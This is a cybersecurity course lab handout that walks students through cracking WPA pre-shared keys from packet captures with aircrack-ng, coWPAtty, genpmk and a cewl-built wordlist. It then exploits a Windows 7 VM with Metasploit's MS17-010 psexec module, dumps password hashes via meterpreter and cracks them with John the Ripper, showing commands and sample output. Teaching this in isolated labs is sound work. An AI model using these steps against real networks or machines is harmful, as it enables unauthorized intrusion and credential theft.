Lab 09 Requirements

- **Kali** VM from previous labs
- Lab Files from the content section for Week 11
- Save the files to your laptop desktop first, extract them, then drag them to Kali's Desktop
  - **WPA-01.pcap through WPA-07.pcap** and **Details.txt**
  - Leave the files on Kali's Desktop throughout the lab
- **W7** VM from previous labs

Part 01: Investigate Dictionary Attack Files

- Navigate to the /usr/share/wordlists directory (what kind of files does this directory contain?)
- Use **gunzip** to extract the contents of the rockyou.txt.gz file to the current directory
  - This will extract the file rockyou.txt which you will use later
- Use the **wc** command to count the **number of lines** in the following files: (you can do a man on wc if you are unsure which option to use to specify the lines)
  - ✓ john.lst
  - ✓ nmap.lst
  - ✓ wifite.txt
  - ✓ sqlmap.txt
  - ✓ rockyou.txt

Slide 01:

- Take a screenshot showing the output with the # of lines in each of the five files and place it into Slide 01

Use **less** to view the first few pages of the files; this will give you an idea of their contents

- This will help you answer a question later in the lab

Use aircrack-ng to crack WPA

I have provided you with a packet capture: **WPA-01.pcap**, that contains the WPA four way handshake required to crack WPA

For aircrack-ng there are three values we will need to provide:

- **wordlist file**
- **BSSID from Details file**
- **pcap file**

Move to Root's home directory

- Use the --help option to find the options you are going to need to add to the following command to get it to work (when you get it to work, you will see the pre-shared key of "**password**")
- You need to replace some items in the command structure below with the correct options / paths

aircrack-ng **rockyou.txt file** **BSSID** **WPA-01.pcap**

- Make a note of the options you needed to use and what they do
- The Key is **password**

- How many keys were searched? Why so few keys?

Slide 02:
- Take a screenshot showing the successful crack use the up arrow to include the command you used and place it into slide 02

Using coWPAtty to crack WPA

- **From /root** you will use the same files to crack WPA with coWPAtty
- coWPAtty works in a similar manner to aircrack-ng, the only difference is that it takes the SSID instead of the BSSID
  - **wordlist file**
  - **SSID from Details file**
  - **pcap file**

- Before trying to crack the PSK we can use coWPAtty to check for a valid 4 way handshake
- Use the -h option to find the options you are going to need to use to check for a valid 4 way handshake, then run the command
  - **Collected all necessary data in the output …** means there is enough information to start the crack

- Now, use the -h option again to find the options you are going to need to use to get the following command to work
  - As before, when you get it to work, you will see the pre-shared key of "password"

cowpatty **rockyou.txt file** **WPA-01.pcap** **SSID**

Slide 03:
- Take a screenshot of the successful validation and the crack, then place it into slide 03

- As an experiment, we are going to try using the **sqlmap.txt** dictionary file with coWPAtty
- Why do you think this one is taking so long?
- You can continue with the lab while you are waiting

Slide 04:
- Take screenshot of the successful completion and the command you used (come back to this later when it has finished)

Using genpmk To Speed Things Up, "eventually"

We are going to use genpmk to precompute hashes for the sqlmap.txt file

In a new terminal, type genpmk at the command prompt to see what its options are

Build the command that will create the following
- a hash file called **slowpoke**
- using **sqlmap.txt**
- specifying the **SSID** from the Details file
- displaying the output **verbosely**

- Leave the command running in the background
- Make a note of the options you needed to use and what they do
- Why do you think you are getting so many Invalid passphrase length: errors?
- You can continue with the lab while you are waiting

There should be something very familiar about one of the commands the script used

Slide 05:

- Take screenshot of **genpmk** successfully completing and the command you used (come back to this later when it has finished)

Customize a Dictionary List with Organization Specific Information

For this exercise we will use the **transpirenetworks.com** website as the organization

- You will use one of WPA-02.pcap through WPA-07.pcap files for this portion of the lab
  - There is a coWPAtty option that will let you check which file is the right one
  - You are checking to see which file has a valid four-way handshake

- Use cewl to capture keywords from the site and **append** them to the nmap.lst file
  - Where is the nmap.lst file located?

- Once you have managed this, use genpmk to create a hash file of nmap.lst called **speedy**
  - You can open the .pcap in Wireshark to find the SSID
  - If you make a couple mistakes you will start getting errors, just use **rm -rf speedy** to remove the old file before trying to create a new one

- Finally, use coWPAtty to crack the PSK using the **speedy** hash file

Slide 06:

- Take screenshot the results of the coWPAtty crack including the command you used, and from the same directory, do a wc -l of the nmap.lst file

Administrator Password Attack

Confirm connectivity on 10.0.0.0/24 between W7 and Kali

Open msfconsole

```
use exploit/windows/smb/ms17_010_psexec
set rhosts 10.0.0.7
set payload windows/meterpreter/bind_tcp
show options                                    (are all required options set?)
exploit
```

You should now have a meterpreter shell open on the W7 VM

```
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] 10.0.0.7:445 - Target OS: Windows 7 Enterprise 7600
[*] 10.0.0.7:445 - Built a write-what-where primitive...
[+] 10.0.0.7:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.0.0.7:445 - Selecting PowerShell target
[*] 10.0.0.7:445 - Executing the payload...
[+] 10.0.0.7:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.0.0.7:4444
[*] Sending stage (175686 bytes) to 10.0.0.7
[*] Meterpreter session 1 opened (10.0.0.99:34441 → 10.0.0.7:4444) at 2023-03-18 20:52:09 -0400
```

Once you have your meterpreter session open:

- Use **ps** to bring up a list of running processes
- Use **getpid** to see what process ID (PID) meterpreter is using
- Use **migrate** to change your PID to a higher PID running as NT AUTHORITY\SYSTEM (You can use something like **lsass.exe**)

```
meterpreter > getpid
Current pid: 840
meterpreter > migrate 492
[*] Migrating from 840 to 492...
[*] Migration completed successfully.
meterpreter >
```

- Dump the hashes (Administrator hash can be used for a John The Ripper crack)

`hashdump`

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1001:aad3b435b51404eeaad3b435b51404ee:d6d1677602eaa9c80c5e7a2093bbeb69:::
User:1002:aad3b435b51404eeaad3b435b51404ee:0e52d85883b93d497ca4dd32e4ba6a33:::
meterpreter > ipconfig
```

Copy the hashes to **winhash.txt** and then use John the Ripper to crack the password:

`john –format=NT winhash.txt -w=/usr/share/wordlists/winlist.lst`

```
┌──(root㉿artmack)-[/usr/share/wordlists]
└─# john --format=NT hashes.txt -w=winlist.lst
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4×3])
Remaining 2 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Windows1         (User)
1g 0:00:00:00 DONE (2023-03-18 22:49) 100.0g/s 22300p/s 22300c/s 31900C/s 95..starwars
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Slide 07:

- Show the results of your John the Ripper password crack
- Include your FOLusername

You should be able to get slides 4 and 5 now

Continue on with coWPAtty and genpmk

- Your genpmk for sqlmap.txt will have completed now and created your **slowpoke** file
- Run coWPAtty again **using the hash** file and **WPA-01.pcap**, this time (it will be very fast)

Slide 08:

- Show the results of the coWPAtty crack and the command you used (up arrow)

*** Take a snapshot of all the VMs named **After Lab 09 ***